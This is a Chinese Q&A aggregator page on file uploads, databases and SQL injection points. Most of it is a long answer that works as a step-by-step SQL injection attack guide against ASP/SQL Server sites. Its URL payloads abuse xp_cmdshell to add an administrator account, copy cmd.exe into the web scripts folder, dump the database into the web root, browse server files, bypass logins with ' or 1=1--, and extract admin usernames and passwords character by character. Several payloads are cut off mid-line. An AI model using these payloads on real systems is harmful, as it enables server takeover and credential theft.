當前位置:首頁 » 數據倉庫 » 文件上傳處是資料庫的注入點嗎
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

文件上傳處是資料庫的注入點嗎

發布時間: 2022-08-05 10:39:48

1. 文件上傳是存在硬碟上,還是存在資料庫

你是說開發嗎?
有的是存在伺服器中,然後把路徑存到資料庫中
有的是直接轉成
2進制
直接上傳資料庫
望採納!!!

2. 文件上傳,然後把文件中的數據寫入MySQL資料庫,怎樣做到

什麼意思?是說把文件上傳,然後其他文本框的信息也要讀取出來挖?還是說,文件上傳,把文件的地址寫入資料庫?還是說上傳文件,讀取文本文檔裡面的內容哦!沒懂你意思哦

3. 什麼是文件上傳漏洞

文件上傳漏洞:
允許用戶上傳任意文件可能會讓攻擊者注入危險內容或惡意代碼,並在伺服器上運行。

任意文件上傳漏洞原理:
由於文件上傳功能實現代碼沒有嚴格限制用戶上傳的文件後綴以及文件類型,導致允許攻擊者向 某個可通過 Web 訪問的目錄上傳任意PHP 文件,並能夠將這些文件傳遞給 PHP 解釋器,就 可以在遠程伺服器上執行任意PHP 腳本

4. 將織夢本地的文件全部上傳上去之後,哪個是資料庫,要上傳到虛擬主機上呢

1,一般織夢的安裝程序在upload文件裡面,只需要上傳這些即可!
2,檢查你的程序是否上傳至空間根目錄(不同空間商主機的根目錄不同 有的是web 有的是public_html 有的是wwwroot),
3,資料庫是要自己手動建立的,這樣你才知道資料庫的 資料庫名 資料庫用戶名 資料庫密碼!
4,如果是將自己原來的網站進行搬家(更換空間),則資料庫是需要備份 然後導入到新空間的資料庫里!
5,如果您用的不是免費的空間,建議您直接咨詢您的主機商,他們會悉心為您解答! 希望可以幫到您哦!

5. 上傳到服務端的小數據是存儲在資料庫還是文件

小文件其實可以保存在伺服器上特定目錄,資料庫中記錄文件名和格式,小文件轉化成二進制文件保存。使用時再轉化回來。
也可以 BLOB格式存儲到資料庫中。
這兩種方法都是可以實現的。

只不過各有優缺點。
直接存儲到資料庫中當資料庫備份時,小文件同時被保存,不會出現遺漏。
本地文件存儲時備份資料庫時,小文件轉化成的二進制文件沒有被保存,日後恢復恐怕比較難。
另外,二進制文件被替換後,就不能被程序正確處理,存在安全隱患。你懂吧~

6. 注入點是什麼意思

注入,簡單來說就是利用SQL語句在外部對SQL資料庫進行查詢,更新等動作。首先,資料庫作為一個網站最重要的組件之一(如果這個網站有資料庫的話),裡面是儲存著各種各樣的內容

7. 找到了一個asp網站後台,也找到了注入點可以上傳文件,要怎麼才能取得後台許可權呢,請各位大神幫忙解決~

用啊D把。不是所有的網站都是有注入點的。具體看也不是所有網站入侵都是得注入才可以入侵的。要學會靈活運用。

8. 什麼是注入點

這個很難!!!但我很天才,來讓我一一講解。
syscolumns :每個表和視圖中的每列在表中佔一行,存儲過程中的每個參數在表中也佔一行。該表位於每個資料庫中。主要欄位有:
name ,id, colid :分別是欄位名稱,表ID號,欄位ID號,其中的 ID 是 剛上我們用sysobjects得到的表的ID號。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD這個庫中,表的ID是123456789中的所有欄位列表。

三、確定XP_CMDSHELL可執行情況
若當前連接數據的帳號具有SA許可權,且master.dbo.xp_cmdshell擴展存儲過程(調用此存儲過程可以直接使用操作系統的shell)能夠正確執行,則整個計算機可以通過以下幾種方法完全控制,以後的所有步驟都可以省
1、http://xxx.xxx.xxx/abc.asp?p=YY&nb ... er>0 abc.asp執行異常但可以得到當前連接資料庫的用戶名(若顯示dbo則代表SA)。
2、http://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp執行異常但可以得到當前連接的資料庫名。
3、http://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net user aaa bbb /add"-- (master是SQL-SERVER的主資料庫;名中的分號表示SQL-SERVER執行完分號前的語句名,繼續執行其後面的語句;"—"號是註解,表示其後面的所有內容僅為注釋,系統並不執行)可以直接增加操作系統帳戶aaa,密碼為bbb。
4、http://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net localgroup administrators aaa /add"-- 把剛剛增加的帳戶aaa加到administrators組中。
5、http://xxx.xxx.xxx/abc.asp?p=YY;backuup database 資料庫名 to disk='c:\inetpub\wwwroot\save.db' 則把得到的數據內容全部備份到WEB目錄下,再用HTTP把此文件下載(當然首選要知道WEB虛擬目錄)。
6、通過復制CMD創建UNICODE漏洞
http://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell " c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe" 便製造了一個UNICODE漏洞,通過此漏洞的利用方法,便完成了對整個計算機的控制(當然首選要知道WEB虛擬目錄)。

四、發現WEB虛擬目錄
只有找到WEB虛擬目錄,才能確定放置ASP木馬的位置,進而得到USER許可權。有兩種方法比較有效。
一是根據經驗猜解,一般來說,WEB虛擬目錄是:c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可執行虛擬目錄是:c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。
二是遍歷系統的目錄結構,分析結果並發現WEB虛擬目錄;
先創建一個臨時表:temp
http://xxx.xxx.xxx/abc.asp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
接下來:
(1)我們可以利用xp_availablemedia來獲得當前所有驅動器,並存入temp表中:
http://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--
我們可以通過查詢temp的內容來獲得驅動器列表及相關信息
(2)我們可以利用xp_subdirs獲得子目錄列表,並存入temp表中:
http://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:\';--
(3)我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結構,並寸入temp表中:
http://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
這樣就可以成功的瀏覽到所有的目錄(文件夾)列表:

如果我們需要查看某個文件的內容,可以通過執行xp_cmdsell:
http://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec ... nbsp;'type c:\web\index.asp';--
使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
瀏覽temp就可以看到index.asp文件的內容了!通過分析各種ASP文件,可以得到大量系統信息,WEB建設與管理信息,甚至可以得到SA帳號的連接密碼。

當然,如果xp_cmshell能夠執行,我們可以用它來完成:
http://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&nbs ... cmdshell 'dir c:\';--
http://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&n ... p_cmdshell 'dir c:\ *.asp /s/a';--

通過xp_cmdshell我們可以看到所有想看到的,包括W3svc
http://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshe ... ub\AdminScripts\adsutil.vbs enum w3svc'

但是,如果不是SA許可權,我們還可以使用
http://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

注意:
1、以上每完成一項瀏覽後,應刪除TEMP中的所有內容,刪除方法是:
http://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--
2、瀏覽TEMP表的方法是:(假設TestDB是當前連接的資料庫名)
http://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一條記錄id欄位的值,並與整數進行比較,顯然abc.asp工作異常,但在異常中卻可以發現id欄位的值。假設發現的表名是xyz,則
http://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from ... ere id not in('xyz'))>0 得到表TEMP中第二條記錄id欄位的值。

五、上傳ASP木馬
所謂ASP木馬,就是一段有特殊功能的ASP代碼,並放入WEB虛擬目錄的Scripts下,遠程客戶通過IE就可執行它,進而得到系統的USER許可權,實現對系統的初步控制。上傳ASP木馬一般有兩種比較有效的方法:
1、利用WEB的遠程管理功能
許多WEB站點,為了維護的方便,都提供了遠程管理的功能;也有不少WEB站點,其內容是對於不同的用戶有不同的訪問許可權。為了達到對用戶許可權的控制,都有一個網頁,要求用戶名與密碼,只有輸入了正確的值,才能進行下一步的操作,可以實現對WEB的管理,如上傳、下載文件,目錄瀏覽、修改配置等。

因此,若獲取正確的用戶名與密碼,不僅可以上傳ASP木馬,有時甚至能夠直接得到USER許可權而瀏覽系統,上一步的"發現WEB虛擬目錄"的復雜操作都可省略。
用戶名及密碼一般存放在一張表中,發現這張表並讀取其中內容便解決了問題。以下給出兩種有效方法。
A、 注入法:
從理論上說,認證網頁中會有型如:
select * from admin where username='XXX' and password='YYY' 的語句,若在正式運行此句之前,沒有進行必要的字元過濾,則很容易實施SQL注入。
如在用戶名文本框內輸入:abc' or 1=1-- 在密碼框內輸入:123 則SQL語句變成:
select * from admin where username='abc' or 1=1 and password='123' 不管用戶輸入任何用戶名與密碼,此語句永遠都能正確執行,用戶輕易騙過系統,獲取合法身份。
B、猜解法:
基本思路是:猜解所有資料庫名稱,猜出庫中的每張表名,分析可能是存放用戶名與密碼的表名,猜出表中的每個欄位名,猜出表中的每條記錄內容。
l 猜解所有資料庫名稱
http://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 因為 dbid 的值從1到5,是系統用了。所以用戶自己建的一定是從6開始的。並且我們提交了 name>1 (name欄位是一個字元型的欄位和數字比較會出錯),abc.asp工作異常,可得到第一個資料庫名,同理把DBID分別改成7,8,9,10,11,12...就可得到所有資料庫名。
以下假設得到的資料庫名是TestDB。

l 猜解資料庫中用戶名表的名稱
猜解法:此方法就是根據個人的經驗猜表名,一般來說,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。並通過語句進行判斷
http://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工作正常,否則異常。如此循環,直到猜到系統帳號表的名稱。
讀取法:SQL-SERVER有一個存放系統核心信息的表sysobjects,有關一個庫的所有表,視圖等信息全部存放在此表中,而且此表可以通過WEB進行訪問。
當xtype='U' and status>0代表是用戶建立的表,發現並分析每一個用戶建立的表及名稱,便可以得到用戶名表的名稱,基本的實現方法是:
①http://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0 得到第一個用戶建立表的名稱,並與整數進行比較,顯然abc.asp工作異常,但在異常中卻可以發現表的名稱。假設發現的表名是xyz,則
②http://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in('xyz'))>0 可以得到第二個用戶建立的表的名稱,同理就可得到所有用建立的表的名稱。
根據表的名稱,一般可以認定那張表用戶存放用戶名及密碼,以下假設此表名為Admin。
l 猜解用戶名欄位及密碼欄位名稱
admin表中一定有一個用戶名欄位,也一定有一個密碼欄位,只有得到此兩個欄位的名稱,才有可能得到此兩欄位的內容。如何得到它們的名稱呢,同樣有以下兩種方法。
猜解法:此方法就是根據個人的經驗猜欄位名,一般來說,用戶名欄位的名稱常用:username,name,user,account等。而密碼欄位的名稱常用:password,pass,pwd,passwd等。並通過語句進行判斷
http://xxx.xxx.xxx/abc.asp?p=YY and (select count(欄位名) from TestDB.dbo.admin)>0 "select count(欄位名) from 表名"語句得到表的行數,所以若欄位名存在,則abc.asp工作正常,否則異常。如此循環,直到猜到兩個欄位的名稱。
讀取法:基本的實現方法是
http://xxx.xxx.xxx/abc.asp?p=YY and (select ... me(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是從sysobjects得到已知表名的第一個欄位名,當與整數進行比較,顯然abc.asp工作異常,但在異常中卻可以發現欄位的名稱。把col_name(object_id('admin'),1)中的1依次換成2,3,4,5,6...就可得到所有的欄位名稱。
l 猜解用戶名與密碼
猜用戶名與密碼的內容最常用也是最有效的方法有:
ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的。基本的思路是先猜出欄位的長度,然後依次猜出每一位的值。猜用戶名與猜密碼的方法相同,以下以猜用戶名為例說明其過程。
http://xxx.xxx.xxx/abc.asp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,... n,username為用戶名欄位的名稱,admin為表的名稱),若x為某一值i且abc.asp運行正常時,則i就是第一個用戶名的長度。如:當輸入
http://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8時abc.asp運行正常,則第一個用戶名的長度為8
http://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用戶名長度之間,當m=1,2,3,...時猜測分別猜測第1,2,3,...位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統用戶帳號表的名稱),若n為某一值i且abc.asp運行正常時,則i對應ASCII碼就是用戶名某一位值。如:當輸入
http://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80時abc.asp運行正常,則用戶名的第三位為P(P的ASCII為80);
http://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33時abc.asp運行正常,則用戶名的第9位為!(!的ASCII為80);
猜到第一個用戶名及密碼後,同理,可以猜出其他所有用戶名與密碼。注意:有時得到的密碼可能是經MD5

9. 請問一下網站注入點是什麼意思,注入點是根據什麼檢驗的

所謂網站注入點是程序員SQL語句編寫不嚴謹造成的漏洞。
通過該漏洞可以利用瀏覽器地址欄執行SQL語句來獲取網站的WEBSHELL。

注入點的檢測,最常用的方法是在網站ID後面加英文狀態下的'號來檢測的
例如你網站有這樣一個地址:
http://www.youname.com/article.asp?id=1
在ID=1後面加'號:
http://www.youname.com/article.asp?id=1'
如提示「acticle.asp 第xx行出現錯誤」之類的話,則說明該網站存在SQL注入。

也可以通過在ID後面加對比
http://www.youname.com/article.asp?id=1 and 1=1
http://www.youname.com/article.asp?id=1 and 1=2
如果第一次沒有顯示錯誤,而第二次顯示了錯誤,也說明該網站存在SQL注入